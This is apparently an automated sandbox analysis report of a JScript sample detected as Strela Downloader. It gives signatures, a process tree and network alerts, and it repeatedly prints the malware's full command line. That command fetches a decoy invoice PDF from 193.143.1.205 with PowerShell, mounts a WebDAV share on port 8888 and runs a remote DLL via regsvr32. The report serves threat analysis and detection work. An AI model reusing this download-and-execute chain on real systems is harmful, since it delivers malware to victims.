Edit tour

Windows Analysis Report
18444172742706830592.js

Overview

General Information

Sample name:	18444172742706830592.js
Analysis ID:	1588017
MD5:	975acda1d524990591c3173855f2347a
SHA1:	1b24403ca43f85c36d6dfceb277ebcaa08c2539c
SHA256:	b1380eb02efe324feddca977527c82a5f059d74b3b6efed1387dfcb4420ecc47
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7764 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7852 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7904 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8092 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1996 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1872 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1576,i,16076830456846733305,14261767884181215258,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8108 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8188 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6052 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7764	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7852, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7904, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7852, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7904, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js", ProcessId: 7764, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8188, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 7852, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 7852, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 7852, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 7852, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 7852, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js", ProcessId: 7764, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7852, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7904, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8108, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8188, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6052, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8108, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8188, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18444172742706830592.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7764, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll, ProcessId: 7852, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:35:09.739764+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:35:07.115449+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 18444172742706830592.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 18444172742706830592.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:35:07 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

